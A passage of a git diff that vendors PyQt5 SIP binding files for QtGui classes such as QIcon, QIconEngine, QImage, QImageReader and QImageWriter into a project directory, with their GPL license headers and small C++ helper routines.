+ static QPalette palette(); + static void setPalette(const QPalette &pal); + static Qt::KeyboardModifiers keyboardModifiers(); + static Qt::KeyboardModifiers queryKeyboardModifiers(); + static Qt::MouseButtons mouseButtons(); + static void setLayoutDirection(Qt::LayoutDirection direction); + static Qt::LayoutDirection layoutDirection(); + static bool isRightToLeft(); + static bool isLeftToRight(); + static void setDesktopSettingsAware(bool on); + static bool desktopSettingsAware(); + static void setQuitOnLastWindowClosed(bool quit); + static bool quitOnLastWindowClosed(); + static int exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,PyName=exec_,ReleaseGIL/; +%If (Py_v3) + static int exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,ReleaseGIL/; +%End + virtual bool notify(QObject *, QEvent *); + +signals: + void fontDatabaseChanged(); + void screenAdded(QScreen *screen); + void lastWindowClosed(); + void focusObjectChanged(QObject *focusObject); +%If (PyQt_SessionManager) + void commitDataRequest(QSessionManager &sessionManager); +%End +%If (PyQt_SessionManager) + void saveStateRequest(QSessionManager &sessionManager); +%End + void focusWindowChanged(QWindow *focusWindow); +%If (Qt_5_2_0 -) + void applicationStateChanged(Qt::ApplicationState state); +%End +%If (Qt_5_8_0 -) + void applicationDisplayNameChanged(); +%End + +public: + static void setApplicationDisplayName(const QString &name); + static QString applicationDisplayName(); + static QWindow *modalWindow(); + static QStyleHints *styleHints(); + static QInputMethod *inputMethod(); + qreal devicePixelRatio() const; +%If (PyQt_SessionManager) + bool isSessionRestored() const; +%End +%If (PyQt_SessionManager) + QString sessionId() const; +%End +%If (PyQt_SessionManager) + QString sessionKey() const; +%End +%If (PyQt_SessionManager) + bool isSavingSession() const; +%End +%If (Qt_5_2_0 -) + static Qt::ApplicationState applicationState(); +%End +%If (Qt_5_2_0 -) + static void sync(); +%End +%If (Qt_5_3_0 -) + static void setWindowIcon(const QIcon &icon); +%End +%If (Qt_5_3_0 -) + static QIcon windowIcon(); +%End + +protected: + virtual bool event(QEvent *); + +signals: +%If (Qt_5_4_0 -) + void screenRemoved(QScreen *screen); +%End +%If (Qt_5_4_0 -) + void layoutDirectionChanged(Qt::LayoutDirection direction); +%End +%If (Qt_5_4_0 -) + void paletteChanged(const QPalette &pal); +%End + +public: +%If (Qt_5_6_0 -) +%If (PyQt_SessionManager) + static bool isFallbackSessionManagementEnabled(); +%End +%End +%If (Qt_5_6_0 -) +%If (PyQt_SessionManager) + static void setFallbackSessionManagementEnabled(bool); +%End +%End + +signals: +%If (Qt_5_6_0 -) + void primaryScreenChanged(QScreen *screen); +%End + +public: +%If (Qt_5_7_0 -) + static void setDesktopFileName(const QString &name); +%End +%If (Qt_5_7_0 -) + static QString desktopFileName(); +%End +%If (Qt_5_10_0 -) + static QScreen *screenAt(const QPoint &point); +%End + +signals: +%If (Qt_5_11_0 -) + void fontChanged(const QFont &font); +%End + +public: +%If (Qt_5_14_0 -) + static void setHighDpiScaleFactorRoundingPolicy(Qt::HighDpiScaleFactorRoundingPolicy policy); +%End +%If (Qt_5_14_0 -) + static Qt::HighDpiScaleFactorRoundingPolicy highDpiScaleFactorRoundingPolicy(); +%End +}; + +%ModuleHeaderCode +// Imports from QtCore. +typedef void (*pyqt5_qtgui_cleanup_qobjects_t)(); +extern pyqt5_qtgui_cleanup_qobjects_t pyqt5_qtgui_cleanup_qobjects; + +typedef char **(*pyqt5_qtgui_from_argv_list_t)(PyObject *, int &); +extern pyqt5_qtgui_from_argv_list_t pyqt5_qtgui_from_argv_list; + +typedef void (*pyqt5_qtgui_update_argv_list_t)(PyObject *, int, char **); +extern pyqt5_qtgui_update_argv_list_t pyqt5_qtgui_update_argv_list; +%End + +%ModuleCode +// Imports from QtCore. +pyqt5_qtgui_cleanup_qobjects_t pyqt5_qtgui_cleanup_qobjects; +pyqt5_qtgui_from_argv_list_t pyqt5_qtgui_from_argv_list; +pyqt5_qtgui_update_argv_list_t pyqt5_qtgui_update_argv_list; + +// Forward declarations not in any header files but are part of the API. +void qt_set_sequence_auto_mnemonic(bool enable); +%End + +%InitialisationCode +// Export our own helpers. +sipExportSymbol("qtgui_wrap_ancestors", (void *)qtgui_wrap_ancestors); +%End + +%PostInitialisationCode +// Imports from QtCore. +pyqt5_qtgui_cleanup_qobjects = (pyqt5_qtgui_cleanup_qobjects_t)sipImportSymbol("pyqt5_cleanup_qobjects"); +Q_ASSERT(pyqt5_qtgui_cleanup_qobjects); + +pyqt5_qtgui_from_argv_list = (pyqt5_qtgui_from_argv_list_t)sipImportSymbol("pyqt5_from_argv_list"); +Q_ASSERT(pyqt5_qtgui_from_argv_list); + +pyqt5_qtgui_update_argv_list = (pyqt5_qtgui_update_argv_list_t)sipImportSymbol("pyqt5_update_argv_list"); +Q_ASSERT(pyqt5_qtgui_update_argv_list); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qicon.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qicon.sip new file mode 100644 index 00000000..92c8e43a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qicon.sip @@ -0,0 +1,123 @@ +// qicon.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QIcon /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + enum Mode + { + Normal, + Disabled, + Active, + Selected, + }; + + enum State + { + On, + Off, + }; + + QIcon(); + QIcon(const QPixmap &pixmap); + QIcon(const QIcon &other); + explicit QIcon(const QString &fileName); + explicit QIcon(QIconEngine *engine /GetWrapper/); +%MethodCode + sipCpp = new QIcon(a0); + + // The QIconEngine is implicitly shared by copies of the QIcon and is destroyed + // by C++ when the last copy is destroyed. Therefore we need to transfer + // ownership but not to associate it with this QIcon. The Python object will + // get tidied up when the virtual dtor gets called. + sipTransferTo(a0Wrapper, Py_None); +%End + + QIcon(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QIcon(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + ~QIcon(); + QPixmap pixmap(const QSize &size, QIcon::Mode mode = QIcon::Normal, QIcon::State state = QIcon::Off) const; + QPixmap pixmap(int w, int h, QIcon::Mode mode = QIcon::Normal, QIcon::State state = QIcon::Off) const; + QPixmap pixmap(int extent, QIcon::Mode mode = QIcon::Normal, QIcon::State state = QIcon::Off) const; +%If (Qt_5_1_0 -) + QPixmap pixmap(QWindow *window, const QSize &size, QIcon::Mode mode = QIcon::Normal, QIcon::State state = QIcon::Off) const; +%End + QSize actualSize(const QSize &size, QIcon::Mode mode = QIcon::Normal, QIcon::State state = QIcon::Off) const; +%If (Qt_5_1_0 -) + QSize actualSize(QWindow *window, const QSize &size, QIcon::Mode mode = QIcon::Normal, QIcon::State state = QIcon::Off) const; +%End + QList availableSizes(QIcon::Mode mode = QIcon::Normal, QIcon::State state = QIcon::Off) const; + void paint(QPainter *painter, const QRect &rect, Qt::Alignment alignment = Qt::AlignCenter, QIcon::Mode mode = QIcon::Normal, QIcon::State state = QIcon::Off) const; + void paint(QPainter *painter, int x, int y, int w, int h, Qt::Alignment alignment = Qt::AlignCenter, QIcon::Mode mode = QIcon::Normal, QIcon::State state = QIcon::Off) const; + bool isNull() const; + bool isDetached() const; + void addPixmap(const QPixmap &pixmap, QIcon::Mode mode = QIcon::Normal, QIcon::State state = QIcon::Off); + void addFile(const QString &fileName, const QSize &size = QSize(), QIcon::Mode mode = QIcon::Normal, QIcon::State state = QIcon::Off); + qint64 cacheKey() const; +%If (Qt_5_7_0 -) + static QIcon fromTheme(const QString &name); +%End +%If (Qt_5_7_0 -) + static QIcon fromTheme(const QString &name, const QIcon &fallback); +%End +%If (- Qt_5_7_0) + static QIcon fromTheme(const QString &name, const QIcon &fallback = QIcon()); +%End + static bool hasThemeIcon(const QString &name); + static QStringList themeSearchPaths(); + static void setThemeSearchPaths(const QStringList &searchpath); + static QString themeName(); + static void setThemeName(const QString &path); + QString name() const; + void swap(QIcon &other /Constrained/); +%If (Qt_5_6_0 -) + void setIsMask(bool isMask); +%End +%If (Qt_5_6_0 -) + bool isMask() const; +%End +%If (Qt_5_11_0 -) + static QStringList fallbackSearchPaths(); +%End +%If (Qt_5_11_0 -) + static void setFallbackSearchPaths(const QStringList &paths); +%End +%If (Qt_5_12_0 -) + static QString fallbackThemeName(); +%End +%If (Qt_5_12_0 -) + static void setFallbackThemeName(const QString &name); +%End +}; + +QDataStream &operator<<(QDataStream &, const QIcon & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QIcon & /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qiconengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qiconengine.sip new file mode 100644 index 00000000..b75e7a97 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qiconengine.sip @@ -0,0 +1,94 @@ +// qiconengine.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QIconEngine /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_6_0 -) + QIconEngine(); +%End +%If (Qt_5_8_0 -) + QIconEngine(const QIconEngine &other); +%End + virtual ~QIconEngine(); + virtual void paint(QPainter *painter, const QRect &rect, QIcon::Mode mode, QIcon::State state) = 0; + virtual QSize actualSize(const QSize &size, QIcon::Mode mode, QIcon::State state); + virtual QPixmap pixmap(const QSize &size, QIcon::Mode mode, QIcon::State state); + virtual void addPixmap(const QPixmap &pixmap, QIcon::Mode mode, QIcon::State state); + virtual void addFile(const QString &fileName, const QSize &size, QIcon::Mode mode, QIcon::State state); + virtual QString key() const; + virtual QIconEngine *clone() const = 0 /Factory/; + virtual bool read(QDataStream &in); + virtual bool write(QDataStream &out) const; + + enum IconEngineHook + { + AvailableSizesHook, + IconNameHook, +%If (Qt_5_7_0 -) + IsNullHook, +%End +%If (Qt_5_9_0 -) + ScaledPixmapHook, +%End + }; + + struct AvailableSizesArgument + { +%TypeHeaderCode +#include +%End + + QIcon::Mode mode; + QIcon::State state; + QList sizes; + }; + + virtual QList availableSizes(QIcon::Mode mode = QIcon::Normal, QIcon::State state = QIcon::Off) const; + virtual QString iconName() const; +%If (Qt_5_7_0 -) + bool isNull() const; +%End +%If (Qt_5_9_0 -) + QPixmap scaledPixmap(const QSize &size, QIcon::Mode mode, QIcon::State state, qreal scale); +%End +%If (Qt_5_9_0 -) + + struct ScaledPixmapArgument + { +%TypeHeaderCode +#include +%End + + QSize size; + QIcon::Mode mode; + QIcon::State state; + qreal scale; + QPixmap pixmap; + }; + +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qimage.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qimage.sip new file mode 100644 index 00000000..8edf8939 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qimage.sip @@ -0,0 +1,316 @@ +// qimage.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QImage : QPaintDevice +{ +%TypeHeaderCode +#include +%End + +public: + enum InvertMode + { + InvertRgb, + InvertRgba, + }; + + enum Format + { + Format_Invalid, + Format_Mono, + Format_MonoLSB, + Format_Indexed8, + Format_RGB32, + Format_ARGB32, + Format_ARGB32_Premultiplied, + Format_RGB16, + Format_ARGB8565_Premultiplied, + Format_RGB666, + Format_ARGB6666_Premultiplied, + Format_RGB555, + Format_ARGB8555_Premultiplied, + Format_RGB888, + Format_RGB444, + Format_ARGB4444_Premultiplied, +%If (Qt_5_2_0 -) + Format_RGBX8888, +%End +%If (Qt_5_2_0 -) + Format_RGBA8888, +%End +%If (Qt_5_2_0 -) + Format_RGBA8888_Premultiplied, +%End +%If (Qt_5_4_0 -) + Format_BGR30, +%End +%If (Qt_5_4_0 -) + Format_A2BGR30_Premultiplied, +%End +%If (Qt_5_4_0 -) + Format_RGB30, +%End +%If (Qt_5_4_0 -) + Format_A2RGB30_Premultiplied, +%End +%If (Qt_5_5_0 -) + Format_Alpha8, +%End +%If (Qt_5_5_0 -) + Format_Grayscale8, +%End +%If (Qt_5_12_0 -) + Format_RGBX64, +%End +%If (Qt_5_12_0 -) + Format_RGBA64, +%End +%If (Qt_5_12_0 -) + Format_RGBA64_Premultiplied, +%End +%If (Qt_5_13_0 -) + Format_Grayscale16, +%End +%If (Qt_5_14_0 -) + Format_BGR888, +%End + }; + + QImage(); + QImage(const QSize &size, QImage::Format format); + QImage(int width, int height, QImage::Format format); + QImage(const uchar *data /KeepReference/, int width, int height, QImage::Format format); + QImage(void *data, int width, int height, QImage::Format format) [(uchar *data, int width, int height, QImage::Format format)]; + QImage(const uchar *data /KeepReference/, int width, int height, int bytesPerLine, QImage::Format format); + QImage(void *data, int width, int height, int bytesPerLine, QImage::Format format) [(uchar *data, int width, int height, int bytesPerLine, QImage::Format format)]; + explicit QImage(SIP_PYLIST xpm /TypeHint="List[str]"/) [(const char **xpm)]; +%MethodCode + // The Python interface is a list of strings that make up the image. + + const char **str = QtGui_ListToArray(a0); + + if (str) + { + sipCpp = new sipQImage(str); + QtGui_DeleteArray(str); + } + else + sipIsErr = 1; +%End + + QImage(const QString &fileName, const char *format = 0) /ReleaseGIL/; + QImage(const QImage &); + QImage(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new sipQImage(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + virtual ~QImage(); + bool isNull() const; + virtual int devType() const; + bool operator==(const QImage &) const; + bool operator!=(const QImage &) const; + void detach(); + bool isDetached() const; + QImage copy(const QRect &rect = QRect()) const; + QImage copy(int x, int y, int w, int h) const; + QImage::Format format() const; + QImage convertToFormat(QImage::Format f, Qt::ImageConversionFlags flags = Qt::ImageConversionFlag::AutoColor) const; + QImage convertToFormat(QImage::Format f, const QVector &colorTable, Qt::ImageConversionFlags flags = Qt::ImageConversionFlag::AutoColor) const; + int width() const; + int height() const; + QSize size() const; + QRect rect() const; + int depth() const; + QRgb color(int i) const; + void setColor(int i, QRgb c); + bool allGray() const; + bool isGrayscale() const; + void *bits() [uchar * ()]; + const void *constBits() const [const uchar * ()]; + void *scanLine(int) [uchar * (int)]; + const void *constScanLine(int) const [const uchar * (int)]; + int bytesPerLine() const; + bool valid(const QPoint &pt) const; + bool valid(int x, int y) const; + int pixelIndex(const QPoint &pt) const; + int pixelIndex(int x, int y) const; + QRgb pixel(const QPoint &pt) const; + QRgb pixel(int x, int y) const; + void setPixel(const QPoint &pt, uint index_or_rgb); + void setPixel(int x, int y, uint index_or_rgb); + QVector colorTable() const; + void setColorTable(const QVector colors); + void fill(Qt::GlobalColor color /Constrained/); + void fill(const QColor &color); + void fill(uint pixel); + bool hasAlphaChannel() const; + void setAlphaChannel(const QImage &alphaChannel); + QImage createAlphaMask(Qt::ImageConversionFlags flags = Qt::ImageConversionFlag::AutoColor) const; + QImage createHeuristicMask(bool clipTight = true) const; + QImage scaled(int width, int height, Qt::AspectRatioMode aspectRatioMode = Qt::IgnoreAspectRatio, Qt::TransformationMode transformMode = Qt::FastTransformation) const; + QImage scaled(const QSize &size, Qt::AspectRatioMode aspectRatioMode = Qt::IgnoreAspectRatio, Qt::TransformationMode transformMode = Qt::FastTransformation) const; + QImage scaledToWidth(int width, Qt::TransformationMode mode = Qt::FastTransformation) const; + QImage scaledToHeight(int height, Qt::TransformationMode mode = Qt::FastTransformation) const; + QImage mirrored(bool horizontal = false, bool vertical = true) const; + QImage rgbSwapped() const; + void invertPixels(QImage::InvertMode mode = QImage::InvertRgb); + bool load(QIODevice *device, const char *format) /ReleaseGIL/; + bool load(const QString &fileName, const char *format = 0) /ReleaseGIL/; + bool loadFromData(const uchar *data /Array/, int len /ArraySize/, const char *format = 0); + bool loadFromData(const QByteArray &data, const char *format = 0); + bool save(const QString &fileName, const char *format = 0, int quality = -1) const /ReleaseGIL/; + bool save(QIODevice *device, const char *format = 0, int quality = -1) const /ReleaseGIL/; + static QImage fromData(const uchar *data /Array/, int size /ArraySize/, const char *format = 0); + static QImage fromData(const QByteArray &data, const char *format = 0); + virtual QPaintEngine *paintEngine() const; + int dotsPerMeterX() const; + int dotsPerMeterY() const; + void setDotsPerMeterX(int); + void setDotsPerMeterY(int); + QPoint offset() const; + void setOffset(const QPoint &); + QStringList textKeys() const; + QString text(const QString &key = QString()) const; + void setText(const QString &key, const QString &value); + +protected: + virtual int metric(QPaintDevice::PaintDeviceMetric metric) const; +%If (Qt_5_5_0 -) + QImage smoothScaled(int w, int h) const; +%End + +public: + QImage createMaskFromColor(QRgb color, Qt::MaskMode mode = Qt::MaskInColor) const; + QImage transformed(const QTransform &matrix, Qt::TransformationMode mode = Qt::FastTransformation) const; + static QTransform trueMatrix(const QTransform &, int w, int h); + qint64 cacheKey() const; + int colorCount() const; + void setColorCount(int); + int byteCount() const; + int bitPlaneCount() const; + void swap(QImage &other /Constrained/); + qreal devicePixelRatio() const; + void setDevicePixelRatio(qreal scaleFactor); +%If (Qt_5_4_0 -) + QPixelFormat pixelFormat() const; +%End +%If (Qt_5_4_0 -) + static QPixelFormat toPixelFormat(QImage::Format format); +%End +%If (Qt_5_4_0 -) + static QImage::Format toImageFormat(QPixelFormat format); +%End +%If (Qt_5_6_0 -) + QColor pixelColor(int x, int y) const; +%End +%If (Qt_5_6_0 -) + QColor pixelColor(const QPoint &pt) const; +%End +%If (Qt_5_6_0 -) + void setPixelColor(int x, int y, const QColor &c); +%End +%If (Qt_5_6_0 -) + void setPixelColor(const QPoint &pt, const QColor &c); +%End +%If (Qt_5_9_0 -) + bool reinterpretAsFormat(QImage::Format f); +%End +%If (Qt_5_10_0 -) + Py_ssize_t sizeInBytes() const [qsizetype ()]; +%End +%If (Qt_5_13_0 -) + void convertTo(QImage::Format f, Qt::ImageConversionFlags flags = Qt::ImageConversionFlag::AutoColor); +%End +%If (Qt_5_14_0 -) + QColorSpace colorSpace() const; +%End +%If (Qt_5_14_0 -) + QImage convertedToColorSpace(const QColorSpace &) const; +%End +%If (Qt_5_14_0 -) + void convertToColorSpace(const QColorSpace &); +%End +%If (Qt_5_14_0 -) + void setColorSpace(const QColorSpace &); +%End +%If (Qt_5_14_0 -) + void applyColorTransform(const QColorTransform &transform); +%End +}; + +QDataStream &operator<<(QDataStream &, const QImage & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QImage & /Constrained/) /ReleaseGIL/; + +%ModuleHeaderCode +const char **QtGui_ListToArray(PyObject *lst); +void QtGui_DeleteArray(const char **arr); +%End + +%ModuleCode +// Convert a list of strings to an array of ASCII strings on the heap. Used by +// QImage and QPixmap. +const char **QtGui_ListToArray(PyObject *lst) +{ + Py_ssize_t nstr = PyList_Size(lst); + const char **arr = new const char *[nstr + 1]; + + for (Py_ssize_t i = 0; i < nstr; ++i) + { + PyObject *ascii_obj = PyList_GetItem(lst, i); + const char *ascii = sipString_AsASCIIString(&ascii_obj); + + if (!ascii) + { + while (i-- > 0) + delete[] arr[i]; + + delete[] arr; + + return 0; + } + + // Copy the string. + arr[i] = qstrdup(ascii); + + Py_DECREF(ascii_obj); + } + + // The sentinal. + arr[nstr] = 0; + + return arr; +} + + +// Return a string array created by QtGui_ListToArray() to the heap. +void QtGui_DeleteArray(const char **arr) +{ + for (Py_ssize_t i = 0; arr[i]; ++i) + delete[] arr[i]; + + delete[] arr; +} +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qimageiohandler.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qimageiohandler.sip new file mode 100644 index 00000000..2105e8a9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qimageiohandler.sip @@ -0,0 +1,103 @@ +// qimageiohandler.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QImageIOHandler +{ +%TypeHeaderCode +#include +%End + +public: + enum ImageOption + { + Size, + ClipRect, + Description, + ScaledClipRect, + ScaledSize, + CompressionRatio, + Gamma, + Quality, + Name, + SubType, + IncrementalReading, + Endianness, + Animation, + BackgroundColor, +%If (Qt_5_4_0 -) + SupportedSubTypes, +%End +%If (Qt_5_5_0 -) + OptimizedWrite, +%End +%If (Qt_5_5_0 -) + ProgressiveScanWrite, +%End +%If (Qt_5_5_0 -) + ImageTransformation, +%End +%If (Qt_5_5_0 -) + TransformedByDefault, +%End + }; + + QImageIOHandler(); + virtual ~QImageIOHandler(); + void setDevice(QIODevice *device); + QIODevice *device() const; + void setFormat(const QByteArray &format); + QByteArray format() const; + virtual bool canRead() const = 0; + virtual bool read(QImage *image) = 0; + virtual bool write(const QImage &image); + virtual QVariant option(QImageIOHandler::ImageOption option) const; + virtual void setOption(QImageIOHandler::ImageOption option, const QVariant &value); + virtual bool supportsOption(QImageIOHandler::ImageOption option) const; + virtual bool jumpToNextImage(); + virtual bool jumpToImage(int imageNumber); + virtual int loopCount() const; + virtual int imageCount() const; + virtual int nextImageDelay() const; + virtual int currentImageNumber() const; + virtual QRect currentImageRect() const; +%If (Qt_5_5_0 -) + + enum Transformation + { + TransformationNone, + TransformationMirror, + TransformationFlip, + TransformationRotate180, + TransformationRotate90, + TransformationMirrorAndRotate90, + TransformationFlipAndRotate90, + TransformationRotate270, + }; + +%End +%If (Qt_5_5_0 -) + typedef QFlags Transformations; +%End + +private: + QImageIOHandler(const QImageIOHandler &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qimagereader.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qimagereader.sip new file mode 100644 index 00000000..1d265a37 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qimagereader.sip @@ -0,0 +1,114 @@ +// qimagereader.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QImageReader +{ +%TypeHeaderCode +#include +%End + +public: + enum ImageReaderError + { + UnknownError, + FileNotFoundError, + DeviceError, + UnsupportedFormatError, + InvalidDataError, + }; + + QImageReader(); + QImageReader(QIODevice *device, const QByteArray &format = QByteArray()); + QImageReader(const QString &fileName, const QByteArray &format = QByteArray()); + ~QImageReader(); + void setFormat(const QByteArray &format); + QByteArray format() const; + void setDevice(QIODevice *device); + QIODevice *device() const; + void setFileName(const QString &fileName); + QString fileName() const; + QSize size() const; + void setClipRect(const QRect &rect); + QRect clipRect() const; + void setScaledSize(const QSize &size); + QSize scaledSize() const; + void setScaledClipRect(const QRect &rect); + QRect scaledClipRect() const; + bool canRead() const; + QImage read() /ReleaseGIL/; + bool read(QImage *image) /ReleaseGIL/; + bool jumpToNextImage(); + bool jumpToImage(int imageNumber); + int loopCount() const; + int imageCount() const; + int nextImageDelay() const; + int currentImageNumber() const; + QRect currentImageRect() const; + QImageReader::ImageReaderError error() const; + QString errorString() const; + static QByteArray imageFormat(const QString &fileName); + static QByteArray imageFormat(QIODevice *device); + static QList supportedImageFormats(); + QStringList textKeys() const; + QString text(const QString &key) const; + void setBackgroundColor(const QColor &color); + QColor backgroundColor() const; + bool supportsAnimation() const; + void setQuality(int quality); + int quality() const; + bool supportsOption(QImageIOHandler::ImageOption option) const; + void setAutoDetectImageFormat(bool enabled); + bool autoDetectImageFormat() const; + QImage::Format imageFormat() const; + void setDecideFormatFromContent(bool ignored); + bool decideFormatFromContent() const; +%If (Qt_5_1_0 -) + static QList supportedMimeTypes(); +%End +%If (Qt_5_4_0 -) + QByteArray subType() const; +%End +%If (Qt_5_4_0 -) + QList supportedSubTypes() const; +%End +%If (Qt_5_5_0 -) + QImageIOHandler::Transformations transformation() const; +%End +%If (Qt_5_5_0 -) + void setAutoTransform(bool enabled); +%End +%If (Qt_5_5_0 -) + bool autoTransform() const; +%End +%If (Qt_5_6_0 -) + void setGamma(float gamma); +%End +%If (Qt_5_6_0 -) + float gamma() const; +%End +%If (Qt_5_12_0 -) + static QList imageFormatsForMimeType(const QByteArray &mimeType); +%End + +private: + QImageReader(const QImageReader &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qimagewriter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qimagewriter.sip new file mode 100644 index 00000000..d95f3d52 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qimagewriter.sip @@ -0,0 +1,99 @@ +// qimagewriter.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QImageWriter +{ +%TypeHeaderCode +#include +%End + +public: + enum ImageWriterError + { + UnknownError, + DeviceError, + UnsupportedFormatError, +%If (Qt_5_10_0 -) + InvalidImageError, +%End + }; + + QImageWriter(); + QImageWriter(QIODevice *device, const QByteArray &format); + QImageWriter(const QString &fileName, const QByteArray &format = QByteArray()); + ~QImageWriter(); + void setFormat(const QByteArray &format); + QByteArray format() const; + void setDevice(QIODevice *device); + QIODevice *device() const; + void setFileName(const QString &fileName); + QString fileName() const; + void setQuality(int quality); + int quality() const; + void setGamma(float gamma); + float gamma() const; + bool canWrite() const; + bool write(const QImage &image) /ReleaseGIL/; + QImageWriter::ImageWriterError error() const; + QString errorString() const; + static QList supportedImageFormats(); + void setText(const QString &key, const QString &text); + bool supportsOption(QImageIOHandler::ImageOption option) const; + void setCompression(int compression); + int compression() const; +%If (Qt_5_1_0 -) + static QList supportedMimeTypes(); +%End +%If (Qt_5_4_0 -) + void setSubType(const QByteArray &type); +%End +%If (Qt_5_4_0 -) + QByteArray subType() const; +%End +%If (Qt_5_4_0 -) + QList supportedSubTypes() const; +%End +%If (Qt_5_5_0 -) + void setOptimizedWrite(bool optimize); +%End +%If (Qt_5_5_0 -) + bool optimizedWrite() const; +%End +%If (Qt_5_5_0 -) + void setProgressiveScanWrite(bool progressive); +%End +%If (Qt_5_5_0 -) + bool progressiveScanWrite() const; +%End +%If (Qt_5_5_0 -) + 